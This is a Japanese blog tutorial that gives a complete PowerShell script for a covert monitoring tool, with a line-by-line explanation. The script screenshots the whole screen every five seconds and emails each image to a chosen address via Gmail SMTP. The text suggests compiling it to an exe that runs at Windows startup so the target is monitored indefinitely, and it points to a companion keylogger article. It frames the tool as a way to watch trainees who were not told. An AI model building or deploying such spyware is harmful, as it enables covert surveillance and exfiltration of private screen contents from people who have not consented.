Powershell Windows セキュリティ

Powershellによるパソコン監視ツールの作り方【Windows】

私が新卒で最初に入社した会社で研修があったのですが、研修生に配布されていたパソコンで画面キャプチャが取得されているのを発見したことがありました。当然研修生には知らされていなかったので気づかない人もいたでしょうが、今振り返ると中々クセの強い職場だったなと思います。一方で研修を担当している人やセキュリティ担当者の視点からすれば、研修生や社員が仕事しているか監視する方法の一つとして、画面キャプチャを取得したいという人がいるのも事実かもしれません。今回はそういった端末を管理している人達にむけて、簡単な監視用ツールの作り方やどういった原理で一般的な監視ソフトが動いているのか、これらをお伝えできればと思います。

監視ツールのデモンストレーション

まずスクリプトの全文とこれを動作させた場合にどんな挙動をするのか紹介します。用意したスクリプトは実行すると5秒おきに実行した環境のスクリーンショットを取得し、指定したアドレスにその画像を送信します。Powershellスクリプトはexe化することが可能であり、そのexeファイルをWindows起動時に自動実行できるようにすれば対象システムをずっと監視下におきつづけることができます。こちらの方法については過去に以下の記事で解説してますので気になる方は参考にしてください。

またスクリーンショットだけでなくキー入力の履歴も取得することができます、そのスクリプトの作り方は以下の記事で解説してますのでこちらも気になる方は参照してください。

ではスクリプトの全文と動作内容の説明に入っていきます、私の環境に合わせた値が入っている箇所もあるので適宜読み替えてください。

# 必要なアセンブリを追加
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

# スクリーンの情報を取得
$virtualScreen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$width  = $virtualScreen.Width
$height = $virtualScreen.Height
$left   = $virtualScreen.Left
$top    = $virtualScreen.Top

# 送信元および送信先メールアドレスを設定
$fromEmail = "送信元アドレス"
$toEmail = "送信先アドレス"

# GmailのSMTPサーバーと認証情報を設定
$smtpServer = "smtp.gmail.com"
$smtpPort = 587
$username = "メールアドレスのユーザネーム"
$password = ConvertTo-SecureString "アプリパスワード" -AsPlainText -Force  # Gmailの場合アプリパスワード
$credential = New-Object System.Management.Automation.PSCredential ($username, $password)

# 無限ループでスクリーンショットを撮る
while ($true) {
    # 現在の日時を取得
    $currentDateTime = Get-Date -Format "yyyyMMddHHmmss"

    # ファイル名に日時を追加して新しいビットマップを作成
    $fileName = "MyScreenshot_$currentDateTime.jpeg"
    $bitmap = New-Object System.Drawing.Bitmap $width, $height

    # スクリーンから画像をコピー
    $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
    $graphics.CopyFromScreen($left, $top, 0, 0, $bitmap.Size)

    # スクリーンショットを一時的に保存
    $screenshotPath = "C:\Users\owner\Desktop\$fileName"
    $bitmap.Save($screenshotPath)

    # メールを送信
    Send-MailMessage -SmtpServer $smtpServer -Port $smtpPort -UseSsl -From $fromEmail -To $toEmail -Subject "Screenshot" -Body "Screenshot" -Attachments $screenshotPath -Credential $credential

    # 結果を表示
    Write-Output "Screenshot saved and sent to $toEmail"

    # 5秒待機
    Start-Sleep -Seconds 5
}

Powershell ISEからこのスクリプトを実行します。

実行して5秒立つと私のパソコン上の画面をキャプチャしたスクリーンショットが添付されたメールが送られてきます。

添付されているスクリーンショットを見ると私のパソコンの操作画像が表示されます。

システム上でこのスクリプトを動作させることで、自分のメールアドレス宛にスクリーンショットを送ることができました。簡単な紹介になりますがPowershellスクリプトの動作イメージが掴めたでしょうか?続いてスクリプトの解説に入っていきます。

監視ツールのソースコードの説明

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

まず冒頭の2行ではAdd-Typeコマンドレットを使ってSystem.Windows.FormsとSystem.Drawingという2つの.NETアセンブリ(ライブラリ)をロードしています。これらのアセンブリをロードすることでスクリーンショットを取得するために必要なクラスやメソッドにアクセスできるようになります。小難しいと感じるかもしれませんが要約するとPowershellでC#を使えるようにするためのコマンドです。Powershellではできないことも度々出てくるため、その部分はC#のクラスやメソッドを利用して実装を行おうということです。

$virtualScreen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$width  = $virtualScreen.Width
$height = $virtualScreen.Height
$left   = $virtualScreen.Left
$top    = $virtualScreen.Top

スクリーンショットを撮るにあたり画面サイズに関する情報を取得するため、System.Windows.Forms.SystemInformationのVirtualScreenプロパティを使用しています。System.Windows.Forms.SystemInformationはシステムに関する情報を操作するためのクラスで、VirtualScreenプロパティは画面の幅、高さと位置(左端と上端)に関する情報を提供します。

$smtpServer = "smtp.gmail.com"
$smtpPort = 587
$username = "メールアドレスのユーザネーム"
$password = ConvertTo-SecureString "アプリパスワード" -AsPlainText -Force  # Gmailの場合アプリパスワード
$credential = New-Object System.Management.Automation.PSCredential ($username, $password)

この部分ではPowershellでメール送信を行うための認証情報の作成を行っています。gmailを利用するため$smtpServer,$smtpPort,$username,$passwordについてはそれに準じた内容になっています。System.Management.Automation.PSCredentialクラスの引数のパスワードについてはSecureStringを渡す必要があるため、$passwordの生成にはConvertTo-SecureStringを利用しています。

    # 現在の日時を取得
    $currentDateTime = Get-Date -Format "yyyyMMddHHmmss"

    # ファイル名に日時を追加して新しいビットマップを作成
    $fileName = "MyScreenshot_$currentDateTime.jpeg"
    $bitmap = New-Object System.Drawing.Bitmap $width, $height

    # スクリーンから画像をコピー
    $graphics = [System.Drawing.Graphics]::FromImage($bitmap)
    $graphics.CopyFromScreen($left, $top, 0, 0, $bitmap.Size)

    # スクリーンショットを一時的に保存
    $screenshotPath = "C:\Users\owner\Desktop\$fileName"
    $bitmap.Save($screenshotPath)

同じファイル名のスクリーンショットが何枚もあると見分けがつきませんので日時を入れます。日時はGet-Dateコマンドを使用して取得します。「New-Object System.Drawing.Bitmap」でスクリーンショットを保存するためのキャンバス(オブジェクト)のようなものを作成し、そのキャンバスを操作するためのGraphicsオブジェクトを「[System.Drawing.Graphics]::FromImage($bitmap)」で生成しています。「$graphics.CopyFromScreen($left, $top, 0, 0, $bitmap.Size)」で$bitmapにスクリーンショットの画像をコピーし、 $bitmap.Save($screenshotPath)で指定したパスにスクリーンショットを保存します。

Send-MailMessage -SmtpServer $smtpServer -Port $smtpPort -UseSsl -From $fromEmail -To $toEmail -Subject "Screenshot" -Body "Screenshot" -Attachments $screenshotPath -Credential $credential

Send-MailMessageでメールを送信します。各引数の説明は以下の通りです。

-SmtpServerSMTPサーバーのホスト名またはIPアドレス
-PortSMTPサーバーのポート番号
-UseSslSSLまたはTLS接続を使用
-From送信元の電子メールアドレス
-To受信者の電子メールアドレス
-Subjectメールの件名
-Bodyメールの本文
-Attachmentsメールに添付するファイルのパス
-CredentialSMTPサーバーにアクセスするための認証情報
    # 結果を表示
    Write-Output "Screenshot saved and sent to $toEmail"

    # 5秒待機
    Start-Sleep -Seconds 5

一応コンソールにスクリーンショットの送信に成功した旨を出力しています。またStart-Sleepの引数に5を指定することでスクリーンショットの取得間隔を5秒にしています。変更する場合は値を変更してください。

-Powershell, Windows, セキュリティ